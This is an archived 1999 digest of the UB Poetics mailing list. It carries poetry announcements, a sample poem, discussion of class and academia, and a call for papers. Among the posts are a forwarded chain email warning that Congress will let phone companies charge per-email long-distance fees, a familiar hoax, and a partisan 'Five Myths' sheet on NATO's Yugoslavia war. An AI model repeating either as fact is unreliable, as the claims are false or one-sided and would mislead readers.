"TTbpN2: translating = translating bpNichol=20 part 2"
 
- released in a signed and numbered edition of 40=20 copies,  "TTbpN2" is a metatext exploration of =
& homage to the poetry & poetics of experimental poet = bpNichol=20 & consists of work by:
Michael Basinski
Gregory = Betts
Stephen = Cain
cjfyffe
Neil Hennessy
bpNichol
the "pataphysical software company
Carl Peters
russ rickey
Stephen Scobie
Jonathon C. Wilcke
and = derek beaulieu, editor
 
copies are $12ea.
for more information please=20 contact:
derek beaulieu at housepre@cadvision.com<= /DIV> ------=_NextPart_000_0009_01BE7D2A.0E6D5FE0-- ========================================================================= Date: Thu, 3 Jan 1980 23:43:59 -0800 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Daniel Zimmerman Organization: Bard-O Subject: Re: April is the cruelest month for poetry .... MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Charles Bernstein wrote: > > David Antin sent me this reply to "Against National Poetry Month as Such". He > said it would be OK to pass it on to the list. --Charles Bernstein > *** > > from DAVID ANTIN: > > Hi Charles -- I'm with you all the way. Antipoetry month in the midst of > which, taking a cue from Geraut de Borneilh, I propose a TROBAR CLUS week > in which no one shall be allowed to commit a transparency. For that week > all poetic efforts must have the opacity of wood or steel and equal weight. > Truly CONCRETE POETRY cast in concrete or cast in iron with texts only on > the underside, so that they must be lifted to be read. I am myself > planning a poetry piece in cast glass (really), but fortunately placed > underwater to diminish visibility. Perhaps I can claim a dispensation for > its submergence. In any case it will be at the bottom of a pond if my grant > comes through. Hard to find if not to finally see. So you can see (sic) > I'm with you all the way. I also suggest POEM BARRERS laid across public > roads, so they can IMPEDE traffic. POETIC PITS in sidewalks and walkways. > POETIC LADDERS from which all but the top and bottom rung are removed. > POETIC ELEVATORS from which all power must be CUT OFF so that they can > only be moved by hand. WHISPER PERFORMANCES permitting only poetry > performances conducted in whispers only in large auditoriums, where the > first fifteen rows of seats must remain empty. Other suggestions are > welcomed. > > Best > > David Brilliant, David! I'd like to weigh in for [where does *that* expression come from?] LIPSYNCH POETRY for extemporaneous & antiquated (de-canonized, like St. Christopher) verse; MONOMETRICAL VERSE, in which all syllables receive either only stron or weak stress; IDEOGRAMMATICAL POETRY in which all glyphs ioncorporating faces resolutely (& atypically) turn their backs to each other; & BACKMASKICAL BARDOLATRY, which reads poets' publication credits (and reviews of their works) backwards. ;~) Dan Zimmerman ========================================================================= Date: Fri, 2 Apr 1999 22:06:28 -0800 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: david bromige Subject: added to antin Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" I'd like to suggest that all taperecorders used for poetry readings in the month of April be doctored so that upon being rewound and played back even at full volume nothing can be heard except a faint diabolical cackling (I believe this was done at least once in a trial run at UCSD). In an alternative move, let's have the tapes be classified as blank but when the machine is switched on & the Poet begins to read, the tape emits a prerecorded, uninterruptible wall of words full volume for at least one hour, during which all efforts to switch off or unplug the machine will prove futile. That should put a stop to any threatened eruption of poetry during this damnable month. david. ========================================================================= Date: Sat, 3 Apr 1999 01:21:30 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Linda Russo Subject: Re: class MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit I had the same reaction as David Zauhar on this one: juliana's questions address culture as much as they address class. Cultural studies has always insisted that culture is not the province of a particular class (privileged) but that culture was a "whole way of life" -- that culture was 'mass' -- was everywhere. (and class seems as pervasive.) While this allowed for some needed theorizing and intervention that revealed (and encouraged) a certain amount of autonomy ('subversion') on the side of those who were denied (high) culture (and so were denied 'class', were the underclass) -- it left aside altogether the tricky questions of the production of 'mass culture' -- who produces it? who consumes it? and for what explicity purposes? The same can be asked of class. And the answers in some instances will be identical. juliana: > Once we start to act like [class] is >something that can be called out in the language of clear category (that >academic means middle or whatever), we do class the disservice of >assuming it is an easy marker. The irony being that most modes of communication rely on our acting this way, and the disservice is done in the service of 'fixing' one's class -- remediating. (for an interesting if not endlessly irritating essay on this see "Freshman Composition as Middle Class Enterprise" by Lynn Z. Bloom) what juliana points out is that class can't be talked about until its cornered. So here's a corner: it strikes me that class is maintained as an economic category only to the extent that its inseparable from its visible, material embodiment: commodities. If posessions are markers of class, what does that make words? where does that leave writers? Innovative writers show us consistently that words are also material things, are not merely referential (i.e. materialized when contrasted to the conventional-and-so-transparent use of syntax, word and subject choice, spelling, pronunication, which are also [middle] class markers ) -- and yet innovative writing alone fails as 'subversive', fails to attack from the margin (of race gender class etc.) because it is, finally, just made of words. It's the people, the movements, the little magazines and presses that gather around and embody those words that make some sort of intervention. Class afterall is a heinous fiction that They/we maintain, that They/we build into our material circumstances (our institutions) but its a fatal fiction -- people die everyday for lack of the fictionality that is found there. I can't say I see class (as a problem, as a point of cleavage and meanness) going away anytime soon but i'm glad too people are talking about it, and perhaps maintaining the option that class (race gender etc.) is okay. ========================================================================= Date: Sat, 3 Apr 1999 00:50:01 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: "Loss Pequen~o Glazier" Subject: Relation of Web/hypertext ed. to book sales Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" We are engaged in a project creating a hypertext edition of a book and have run into resistance from the publisher. If anyone knows of a citation that supports the argument that a web version of a book increases sales of the book itself, or any similarly useful info for arguing this point, any suggestions would be most welcome! Thanks ... ========================================================================= Date: Sat, 3 Apr 1999 02:18:13 -0800 Reply-To: snakayas@cts.com Sender: UB Poetics discussion group From: Sawako Nakayasu Subject: speaking of joy MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I teach high school art and math...and found that the math class (math not being my favorite subject) went much better when I tossed some art (which I love) into it. One day we did algebra problems exquisite corpse-style. So: anyone have or know of any poems about or using or related to math? ...about teaching: I've concluded that the best things I ever learned in high school was how to find *joy* in a subject. thanks, Sawako ========================================================================= Date: Fri, 2 Apr 1999 16:03:19 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Kris Dykstra Subject: Translation MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit You mention an interest in translation--I'm new to the list & am working on a first but large translation project (Spanish to English)--I'd be interested in hearing general +/- specific ideas about this topic, unless it was done to death last month. Example: I read an article that characterized Dickinson's poetry as a "compensation" for failed letter-writing, i.e. a compensation for the lost ideal of exact correspondence. Given that translation also seems to presuppose a loss of some sort of exact correspondence, is translation itself a compensatory mode? When is it useful to talk about intralingual translation as well as interlingual translation? & so forth. & if anyone can confirm that "murcielago" is commonly used in Cuba to refer to someone who stays out all night partying, I'd be interested in that too-- Kris --On Friday, April 02, 1999, 6:25 PM +0000 "Jamie Ferguson" wrote: > I think Chris is right to post a letter about his role as moderator of > the List, even if I think he should be less worried about how members > will react to the power that comes with that role. > > In response to his post, I want to suggest a couple of topics that might > be addressed by those who have taken a serious interest in this forum. > > - What sort of post does the medium tend to encourage? Are there common > pitfalls that might be specified and so more easily avoided? > > - Ought we to be more conscious of the modes of writing/thought > presented on the List, and would it make sense to address these matters > in terms of specific posts? (This would mean sometimes commenting not on > the content of a post so much as the kind of thinking it represents.) > > - What sorts of post tend to be valuable for us as readers? What sorts > less so? > > > I personally would answer these questions by saying that there does seem > to be something in the medium that encourages unconsidered > contributions. I would argue against the writing of unsupported > statements: "I find this book unconvincing." When I came onto the List, > I had the idea that I might begin an exchange on something that > interests me particularly at the moment: literary translation. I would > expect me posts to be deleted by those who take no interest in the > matter (or who think I'm a dolt), but what I would expect from those who > do take an interest and don't think I'm a dolt is TIME. I stopped > writing because, with a few exceptions, I felt that I was putting in a > lot more than I was getting back. Whether a response was enthusiastic or > critical, I often had the impression that while I had spent a half an > hour or more on composing something that seemed to me worth reading, the > responses were dashed off in a couple of minutes. This may, I know, be > entirely due to my not having, if fact, succeeded in composing something > interesting, even for those engaged with the topic. But I suspect that I > did manage to interest a few people - and did in fact elicit one very > interesting response from Pierre Joris. > Nobody would read a journal whose contributors were known to spend no > more than five or ten minutes on their pieces; while the potential > immediacy of EXCHANGE in this kind of format is clearly a bonus. My > estimation would be that those of us writing to the List should move > closer to the concentration implied by the former format, and try to > work against the seemingly perpetual thrill of the immediate in and of > itself. > > One further point, as to content: if there were more posts on the > negative effects of football on the American psyche, I would > unsubscribe. This is not to say anything about the intellectual quality > of the discussion that took place around this topic, but only to say > that I, for one, am looking for something else here. > Get Your Private, Free Email at http://www.hotmail.com ========================================================================= Date: Fri, 2 Apr 1999 18:11:19 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: anastasios kozaitis Subject: Re: class and gender In-Reply-To: <3703B4E3.A38974E9@lava.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" I am reading a book that I think would be important to all those who are interested in this thread: _Inequality Reexamined_ by Amartya Sen. "Sen argues that the dictum 'all people are created equal' serves largely to deflect attention from the fact that we differ in age, gender, talents, and physical abilities as well as in material advantages and social background. He argues for concentraing on hight and more basic values: individual capabilities and freedom to achieve objectives. By concentrating on equity and efficiency of social arrangements in promoting freedoms and capabilities of individuals, Sen adds an important dimension to arguments about such vital issues as gender inequalities, welfare policies, affirmative action, and publich provision of health care and education.' Sen, _Inequality Reexamined_, Harvard UP, 1992 >Just went to a talk the other day on Carolyn Chute and class. And then >all the talk post-pagemothers on class. It is worrying me. The reason we >as a society have trouble talking about class is that it is endlessly >complicated. It is hard to quantify, much less smell or generalize about >preferences of roughness or smoothness. Once we start to act like it is >something that can be called out in the language of clear category (that >academic means middle or whatever), we do class the disservice of >assuming it is an easy marker. Even though our society, falsely, treats >race or gender as something absolute, it has never treated class that >way. Yet that class is the language that white people at times use to >assert their marginalization makes me nervous about it all the time. > >Yet I also think it is crucial to talk about all the time (who knows it >might lead to the class revolution). So I am grateful for the >discussion. > >I guess my question is how do we talk about class while paying attention >to how many people pass in both directions all the time? How do we talk >about class and make room for the way some people move up and down it >all the time? Is class growing up background? Or is it net income at >current year? And what are the income levels? Or is it purely cultural? >Is there a lower class culture of dirty shirts and beer drinking that >the Chute talk seemed to suggest? An upper class culture that owns >artyness? How does rural and urban play into this? What about marriage >and wives with no income? Does education disqualify one from being lower >class? Does one's academic job disqualify one from being lower class >anymore? What if you are an adjunct? Does one's Yale undergrad degree on >scholarship disqualify? Or if one grows up upper class yet goes to the >local community college, does that change? > >Like those students who can't understand My Life, I really can't imagine >that their background income is that different from Hejinian's--her >father was an academic administrator (a decent but not the best paying >job), her mother a housewife. The New College, where she worked until >recently, is known for its substandard salaries. She doesn't have an >advanced degree. What is making her the symbol for middle (?) classness >to these students? Is it because she doesn't in My Life put her self >forward as a marginalized subject? > >I mean these questions not as critique but just as questions. I am glad >this discussion has been happening. ========================================================================= Date: Sat, 3 Apr 1999 12:05:57 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: James Sherry Subject: Cultural Classes and Economic Classes In-Reply-To: <199904030508.AAA03983@mail2.panix.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII There seems to be some confusion between the two types of classes in the messages as I read them in the past two days. Having a nice house and time to get a manicure is a cultural bias and many working class women and men in pink and white collar jobs like to be clean and neat, but are in no way upper or ruling class. We as poets and academics and poet/academics have a cultural class bias, but having books, etc is not an upper class characteristic. There are many cultural classes and they are fungible and are usually subject to an ideological stance that is annoying to other cultural classes. There are also many mixed cultural classes, ie, people with dirty hands and books or clean floors and only electronics or dirty floors and electronics. Among economic classes there are far fewer. Here ruling class is appropriate to consider, but even within the ruling class there is pecking order such as between Bill Gates and Bill Clinton. Being able to make decisions for others is one of the prime motivators and characteristics of ruling class ideology. Being able to plan the course of the lives of many is also a motivator for ruling class or aspiring ruling class. There are many cultural classes on this list, but only one or two economic classes on this list, although some of us work more directly for ruling class institutions, such as the teachers and corporate types. Those who do not work for those kinds of institutions may still be of the same economic class, but have different cultural biases. I don't think anyone on this list is a member of the ruling class. Although some have made some money or inherited enough to qualify, none of us to my knowledge is working to direct the lives of thousands or making decisions to control the course of many lives. We as artists have chosen a path to control that is weak and indirect. That is we can't really determine the effects of our work. But we still believe in the effect poetry can have. We believe that poetry and other arts have an effect on the lives of many indirectly by contributing to the way people talk and think about themselves. What would we like to contribute to that? How do we think we can best go about it? If we can't exactly predict how our work will effect others, what are the techniques of indirection that are most useful/effective in getting to the kind of presentation we'd like to make while giving us the best chance of gettting the kind of result we want. Do we want to promote a metaphorical message or be exponents of it? I think most of the people reading this list approach the message part metaphorically rather than representing it directly as perscription. The metaphors are riskier than many can imagine. Allen Ginsberg was one who found out the dangers of metaphor after his metaphor had had its sad effects. In closing I apologize for going so slowly, but read much that confused me in the mails about class and thought this out as I wrote. In that way I don't support the planned out approach to what should be on the list. It's up to Chris, with input from all of us who are willing to contribute, to come up with a functional definition of appropriateness. James Sherry ========================================================================= Date: Sat, 3 Apr 1999 13:14:01 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: KENT JOHNSON Organization: Highland Community College Subject: Five Myths of NATO's war MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT The following is taken from Z Net http://www.lbbs.org/ZNETTOPnoanimation.html. While a clearer acknowledgment of the long-standing repression suffered by the Kosovar Albanians would have added much to the balance of this "Myth Sheet," the points made are certainly thought-provoking and prompt urgent questions about NATO's actions and the motivations behind them. Kent ---------------------------------------------- The US/NATO War in Yugoslavia: Five Myths Myth #1. U.S./NATO had to attack "the Serbs" because the Yugoslav government and President Slobodan Milosevic refused to negotiate on Kosovo, a region of Yugoslavia where ethnic Albanians are the majority. Reality: U.S./NATO bombs are falling on all Yugoslavs: Serbians, Montenegrins, Albanians, Hungarians, Romanis and other peoples who make up the multiethnic Federal Republic of Yugoslavia. There were no "negotiations." U.S. officials like Secretary of State Madeleine Albright, went out of their way to make this point when "peace talks" were held in France in February. Instead, there was an ultimatum presented by the U.S. government to the Yugoslav government that had three points: 1) Kosovo must be granted autonomy; 2) NATO must be allowed to station 30,000 ground troops in Yugoslavia to ensure this autonomy; and 3) A NATO-conducted referendum for Kosovo's independence from Yugoslavia would take place within three years. The Yugoslav government agreed to the first condition, and rejected the second and third, saying they were a gross violation of their sovereignty and the independence of their country. Myth #2. Yugoslavia is the aggressor in this conflict and Milosevic is a "new Hitler." Reality: No Yugoslav soldiers, planes or ships are attacking another country. The conflict in Kosovo is an internal issue. A developing country of 10 million people, Yugoslavia is being attacked by 19 countries, including the biggest military powers in the world, which have a combined population of more than half a billion people. Milosevic has been demonized much like Saddam Hussein is. As a State Department official said, "the demonization of Milosevic is necessary to maintain the air attacks." (S.F. Chronicle, Mar. 30, 1999) Myth #3. Clinton, Albright and the Pentagon generals were moved to action by their concerns about "ethnic cleansing" and human suffering. Reality: The U.S., Germany and other NATO powers played a key role in breaking up Yugoslavia in 1991-92, arming and supporting secessionist movements. For 45 years after World War II, the many nationalities that made up Yugoslavia lived together in peace. In the civil wars, which followed the break-up of Yugoslavia, there was much bloodshed and human rights violations on all sides. The biggest single act of "ethnic cleansing" was the forced removal of 600,000 Serbs from the Krajina region of Croatia (a former Yugoslav republic) by the U.S.-trained and armed Croatian military in 1995. More than 55,000 of these Serbs, who were resettled in Kosovo, are among the hundreds of thousands of people made refugees by NATO bombing and the conflict in Kosovo. (Julia Taft, Asst. Secretary of State on C-SPAN, 3-29-99) The U.S. "concern" about removal of people from their homeland is very selective. This is not surprising: Virtually the entire continent of North America was "ethnically cleansed" of Native people to make way for the U.S. and Canada, two of the NATO powers. U.S. policy has supported, with arms and money, the removal of Kurdish people in Turkey, Palestinians, East Timorese, Guatemalan indigenous people -- and the list goes on. Myth #4. The U.S./NATO goal is to protect the rights of the predominantly Muslim Albanians in Kosovo. Reality: U.S. officials pretend to care about the rights of Muslim people in Yugoslavia, while their policy of sanctions and war kills 300 Iraqis every day -- half children under 5 years old. Most Iraqis are Muslims. The Pentagon is not a humanitarian relief agency and the corporate-owned politicians don't really care about any people -- Albanians, Serbs, Kurds, Iraqis, or the poor and working people of this country. This war is killing people of all nationalities in Yugoslavia, and poisoning their land with radioactive depleted uranium (DU) weapons. Hundreds of thousands of Iraqis, U.S. veterans and their families are suffering from Gulf War Syndrome as a result of depleted uranium poisoning. The Clinton administration and the Pentagon talk about "supporting our troops" before they go into battle, but then deny medical benefits to veterans who suffer from the after-effects of Agent Orange from Vietnam or DU from Iraq. This war will cost many billions of dollars, money stolen from housing, health care, education and other social programs. Each cruise missile costs $1 million. The only ones who will benefit from this war will be the military-industrial complex and big business. The real U.S./NATO goal is to break Yugoslavia into ever-smaller pieces and bomb its people into submission. The Balkans is a strategic region, a crossroads between Western Europe and the oil-rich Middle East and Caspian Basin. The U.S. has established, in only 5 years, military domination of the former Yugoslav republics of Croatia, Bosnia and Macedonia, as well as Hungary and Albania. The only hold-out has been what is today the Federal Republic of Yugoslavia. This is the real reason why Yugoslavia has become the target in the Balkans, just as it is the real reason that Iraq has become the target in the Persian/Arabian Gulf region. Myth #5. U.S. news reports are balanced and impartial, giving us the true story. Reality: What we see today is a gross distortion of the facts. The media is dominated by big business interests, and functions as a Pentagon propaganda machine. For political purposes, the suffering of only one group, the refugees leaving Kosovo, is shown, while the other Yugoslav victims of the NATO bombing are virtually ignored. The New York Times, CNN, ABC, CBS, NBC, The Chronicle Examiner, and others have given a very slanted view of events in Yugoslavia, to justify the massive bombing. General Electric, one of the country's largest military contractors which supplies engines for NATO jet fighters, owns NBC and co-owns MS/NBC. Volunteers and donation are needed! Contact us to receive a copy of the 1998 IAC book NATO in the Balkans International Action Center 39 W. 14th St., #206 New York, NY 10011 (212) 633-6646 fax: (212) 633-2889 http://www.iacenter.org email: iacenter@iacenter.org ========================================================================= Date: Sat, 3 Apr 1999 11:58:37 -0800 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Elizabeth Treadwell Subject: Outlet reviews Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Hi all, I've got my reviewers set, so quickly!, for Outlet 4/5. Thanks to all. Elizabeth Outlet Magazine -&- Double Lucy Books P.O. Box 9013, Berkeley, California 94709 U.S.A. http://users.lanminds.com/~dblelucy ========================================================================= Date: Sat, 3 Apr 1999 13:51:55 -0700 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: emgarrison Subject: No I Comments: To: "ictus@listbot.com" Comments: cc: wr-eye-tings , "webart@onelist.com" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit P E A C E Two consanants Three vowels No I ----- Beth ========================================================================= Date: Sat, 3 Apr 1999 19:59:31 EST Reply-To: Pompeiij@aol.com Sender: UB Poetics discussion group From: Jessica Pompeii Subject: no one liners MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Jesus did good stand up. He was good on his feet. OK? I am taking over my body. OK? Freeze. Don't move. I am a black-hole nothing comes in and nothing goes out. Crushing victim, baby, no, silicon breasts. Slack jawed hyena, rapes the desert silence, howling for her mate. ========================================================================= Date: Fri, 2 Apr 1999 16:27:20 -0600 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Maria Damon Subject: Re: The Joy of Poetry In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" At 3:05 PM -0500 4/2/99, Mairead Byrne wrote: >Dear Maria, >Like you, my interest is in poetry and cultural studies. I agree with most >of what you say in your recent post. Except maybe our spirits are >different. You seem charging and charged, determined and probably >effective too. I have begun to feel that academic life in America is >structured to inhibit political action or involvement, even at a local >level. It is my experience here (5 years and two towns) that colleges and >universities are cut off from their local matrix, intellectually though >not economically. When I look back, I remember students with a >lot of political attitude, but no actual political involvement with their >immediate environment: the town or city in which they were living. >For myself, I was and am connected to "my" town through my children, who >go to school here, or daycare. Yet I am not active in the PTA or on the >board of the Drop-In Center, nor am I active anywhere else, except as a >reader in the various libraries. I am a graduate student and college >lecturer: this combination (which is the most common for all graduate >students in the cultural studies field, though some may be called T.A.s >rather than lecturers) is fairly gruelling and inexorable over a >considerable number of years. Throw in another engagement with poetry: >writing it, and you screw things up a bit. Throw in a family, and the >pitch is a notch higher still. But even the grad school/T.A. tandem seems >destructive. My experience of grad school was one of an extremely >structured, controlled, pointless, and time-wasting classes which I was >obliged to both take and teach. Even now, when I have greater freedom, >the continual scraping necessary to get by on the time and money available >seriously inhibits political involvement -- or *any* sort of serious >activity, including writing and thinking. My question is (after all >that): am I completely paranoid in thinking that the academic system here >is actually set up to prevent people thinking, to inhibit engagement with >anything outside the academy, and to keep students/graduate students in a >state of "near-death" until they actually *are* near death and >pensionable? This paragraph is a bit rough but I hope you will get the >general idea. >All the best, >Mairead unfortunatley i think you are right. grad students are depoliticitized in a number of ways; in the less prestigious and wealthy institutions, it's by being so nickeled and dimed to death both economically and with regard to time (at U of MN the grad students are run ragged by the necessity of always having to find jobs, and are told by a cynical administration that this --"lots of teaching experience" --will look good on their cvs!!!); at the more privileged institutions its because it is suggested that by reading raymond williams they are automatically doing right by the under- or working-class many of them have never had firsthand encounters with. there are exceptions though; some faculty i studied w/ at stanford were actively involved in stuff like voter registration in under-represented neighborhoods, and combined it with their intellectual work by writing about it. i did my most interesting work (teaching in a GED program) *before* i went to grad school, but was able to *theorize* and write about that work in grad school. since becoming a prof, i've had less and less incentive toward a certain kind of involvement outside the academy and have become more and more "literary" as well, though plenty of opportunities are available for volunteer or organizing work. right now i'm considering how to make some of my classes, like "Poetry as Cultural Critique," have an element of "community work" built in to the syllabus, though this is complex and involves lots of bureaucratic red tape. so mostly i'm "reduced" to activism through writing about subjects that don't usually get covered in academic journals. ========================================================================= Date: Sat, 3 Apr 1999 21:50:23 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Poetics List Administration Subject: email charges / Lowther MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit had to reformat this. Chris ---- From: "Lowther,John" Date: 4/3/99, 4:29 PM -0500 > PHONE CHARGES FOR THE NET? > > CNN reported that in the next two weeks, Congress is going to vote > on allowing telephone companies to charge for Internet access. that means, every time we make a long distance e-mail we will receive a > long distance charge. This will get costly. > > Please visit to the following web site AND complain. Complain to > your Congressman. Don't allow this to pass. > > CONTACT: http://www.house.gov/writerep/ > > Pass this on to your friends. It is urgent! I hope all of you will > pass this on to all your friends and family. All of us have an interest in this bill. > PLEASE FORWARD ========================================================================= Date: Sat, 3 Apr 1999 18:33:57 -0800 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Mark Weiss Subject: Mervyn Taylor Comments: To: british-poets@mailbase.ac.uk, poetryetc@listbot.com Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" For those of you in SoCal, two events, the first a broadcast, the second a reading, followed by bio and quotes and a sample poem. Mervyn Taylor may be the best poet you discover this year. 1. >On Monday, April 5th @ 10pm, we introduce Mr. Mervyn >Taylor sharing poetry from his newly released book. >Mr. Taylor, visiting from New York, is promoting his book >while sharing his poetry. > >If you`re in the environs, tune~in to 90.7-FM (Los >Angeles) or 98.7-FM (Santa Barbara) at 10pm for some >poetry and music. > >Blessings w/ Peace! > >Angalifu >Producer, Host >KUUMBA - Creativity Through Music & Poetry >KPFK - Los Angeles, 90.7-FM > 2. On Wednesday, April 7th at 4:30 at UC-San Diego, in the Visual Arts Performance Space, a FREE reading by Mervyn Taylor. Mervyn Taylor divides his time between New York and his native Trinidad. Formerly a treasury worker in Trinidad, he currently teaches high school English in the New York City public school system and creative writing at The New School for Social Research. His poems have been published in numerous magazines and several anthologies, among them Giant Talk (Random House) and Rock Against the Wind (William Morrow). He is a graduate of Howard University and holds an MFA in poetry from Columbia University. Junction Press published his first book, _An Island of His Own_, and now, still warm from the press, his second, _The Goat_. "Using imagery that is subtle yet richly evocative, Mervyn Taylor creates whole lives in just a few short lines. Piquant details and a detached, acutely perceptive voice draw the reader into atmospheres swollen with feeling. These are poems that open up new worlds in which readers may live." Publishers Weekly "[In his poems] I have discovered Taylor’s remarkable ministorytelling talent, his cool, aphoristic phrasing, his tonally discreet prose lyricism, and his quiet, ironic world view. A poet of technical expertise, thematic understatement, language subtlety, and human warmth and compassion." Andrew Salkey, World Literature Today "Mervyn is a wary technician, even a cunning one. He works in taut meters that want to cohere the pressures of the casual. Mervyn Taylor is an honest poet, and that is high and sufficient praise indeed." Derek Walcott The End of Their Days I. The Father After he died it was as if the flooring had been taken away and we walked for the longest while on sand, water lapping at our feet. Standing tip-toe the mother would run her hand along the back of the shelves and find a few pennies or none, and rain blew in on us in the kitchen as she turned a pot dark as the weather, and the ghost of a goat butted the ghost of the man and Fitzy his helper paraded with a switch, small cascadoo ghosts leaping in the kitchen. Then the Indian came and laid linoleum throughout the house so we walked on that and he put a rail on the back steps so the mother wouldn’t fall. Then she hurt her foot on a Morris chair and the wound grew into a lifesore that sent up a warm smell that lit up the house, and one Christmastime she dyed her hair and the chemicals left her eyes sealed tight and the windows curtainless, her head blacking the pillow, the bed unmade, the house undone. II. The Mother After the boys migrated she held out as long as she could, but there was no one to send to the shop for Phensic, and the wound would shrink to a pinhead then blossom again. And her best friend held her hand as she asked for the men in her life: the one who looked so much like her they could pass for twins, who gave her her first son, and the one who gave her her second and built them this house growing silenter by the days. Then the one who’d been watching all along, who knew her lonely story and came to people her place with strangers. “Into thy hands,” her friend intoned. She repeated it, and the breadfruit tree dropped a ripe one on the roof that night, the room growing as hot as La Brea noon. Her eyes looked at the ceiling to see what repairs had to be done and her ankles twitched as they propped her up to look over the wall for anyone who at last was coming. III. The Boy He thinks he heard his father calling as the goats pull the old man up and down the road, he sees his father’s hand exploring the diseased gut of a ram, worms curling from the hole onto an open palm. The same hand polished brass buttons, lifted the silver whistle that blew to send the trains lurching forward. He begins to follow the old man’s path down the uprooted track. He begins to occupy the one-room depot, a relic himself. He is deeded more than the house and goat pen. More than once the corporal stops him as he combs Arouca, looking for Telemaque, the old man’s one and only friend. ========================================================================= Date: Sat, 3 Apr 1999 10:13:47 PST Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Michael Krebs Subject: class & kosovo MIME-Version: 1.0 Content-Type: text/plain There is so little need to be concerned with fabric. This cannot be undone - class, differences, borderlands. It is genetic, this behavior among human beings to territorialize and to single out and dehumanize those individuals opposed to the expansion of one's stature or territory. We can talk about it. We can abstract it. We can even try to fight it. But look closely at the animal part of us. Understand why our eyes are set forward-facing in our skulls. Understand why we have incisors. Why we are so skilled in the fine art of building and perfecting weapons. We are vicious and we are hungry and we are civilized. All three. Take off your clothes and count the hairs sprouting over your body. The solution? Better yourself and oppose those who oppose your attempts at bettering yourself. How to do this and what this means, both are in your head. Write it down, maybe. Nihilism is freedom... www.angelfire.com/nj/totalitarianmuseic _______________________________________________________ Get your free, private email at http://mail.excite.com/ ========================================================================= Date: Sat, 3 Apr 1999 21:54:06 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Poetics List Administration Subject: Poets on the Verge of a Nervous Breakdown / Greenway MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit was asked to forward this to the list; queries should go to the addresses specified below. Chris ----- From: "Gerard Greenway" Date: 4/2/99, 4:59 PM +0100 Dear Poetics@Buffalo The editors of the below collection have asked if it would be possible to distribiute the call for papers to the Buffalo list. Could you let me know if you can do this for us. Thank for your time Gerard Greenway managing editor -- Angelaki _______________ Call for Papers _______________ A N G E L A K I journal of the theoretical humanities Special Issue 5.1 (for publication march/april 2000) POETS ON THE VERGE OF A NERVOUS BREAKDOWN ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Edited by Anthony Mellors & Robert Smith The deconstruction of nostalgia for transcendent identity is crucial to international poetry working out from modernism. If, for example, the work of Andrea Zanzotto, Allen Fisher, and Susan Howe centres on locations saturated with national myths (the Veneto, London, New England), this is not in order to romanticize the poet's identity with the place or to envision universal truths from a local microcosm. Rather, each of these poets takes the immediate environment as a place crossed by divergent histories, perceptions, and ecologies which are traced as partial evidence, inviting readers both to attend to the difficulties of the text and to pursue their own lines of inquiry. Even in the case of Zanzotto's psychoanalysis of pastoral identity, no subject-position is evoked which remains unquestionable. However, although this kind of poetry has a wide and dedicated audience, it is far removed from what most readers and literary critics today regard as the appropriate form of contemporary verse. Late modernism is post-modern in the sense that Lyotard makes of the term: a critical reworking of the procedures of modernism. But postmodernism has acquired another meaning, which has gained general currency: the outright rejection of modernism as being idealist, elitist, reactionary, inaccessible, and irrelevant. If postmodernism means the breakdown of distinctions between high and low forms of culture, late modernism's formal difficulty puts it squarely in the high culture camp. Post-modernist poetry, on the other hand, turns away from avant-garde experimentation. Instead, it reestablishes the lyric voice, either through ironic parables of the self or as the expression of multicultural identities. It endorses the local, the particular, even the provincial, as the representation of vital if marginalized communities, and it does so without the modernists' desire to sublate the regional into a unified humanist locus. Value is placed on the lucidity and directness with which the poet communicates, allowing readers to identify with representations of their own community or to empathize with others. Poetry is a means - one among many - by which local identities protect themselves from the homogenizing power of the culture industry. In this light, poetry which suspends identification looks as if it has never managed to break free from the Coleridgean belief in a clerisy of readers only able to grapple with the dialectics of the text because highly attuned to the history and theory of poetic forms. In a world where marginalized voices are fighting for recognition, late modernism stands accused of evading its democratic responsibilities. Far from inspiring readers to engage with questions of identity and difference, these barely legible texts could be said to encourage resignation and indifference in anyone except those who are well educated and already disposed towards the 'difficult matter' of modern art. In contrast, postmodern poetry claims humanist inclusivity without the rhetoric of aesthetic unity. It aspires to what Simon Armitage and Robert Crawford call in their recent Penguin anthology 'the democratic voice'. This new poetic democracy is not without its theoretical and institutional problems. Postmodernism argues for the irreducibility of experience, its essential difference from community to community. Yet in this context it requires that all experience be rendered in an identifiable form. In Britain, for example, poetic 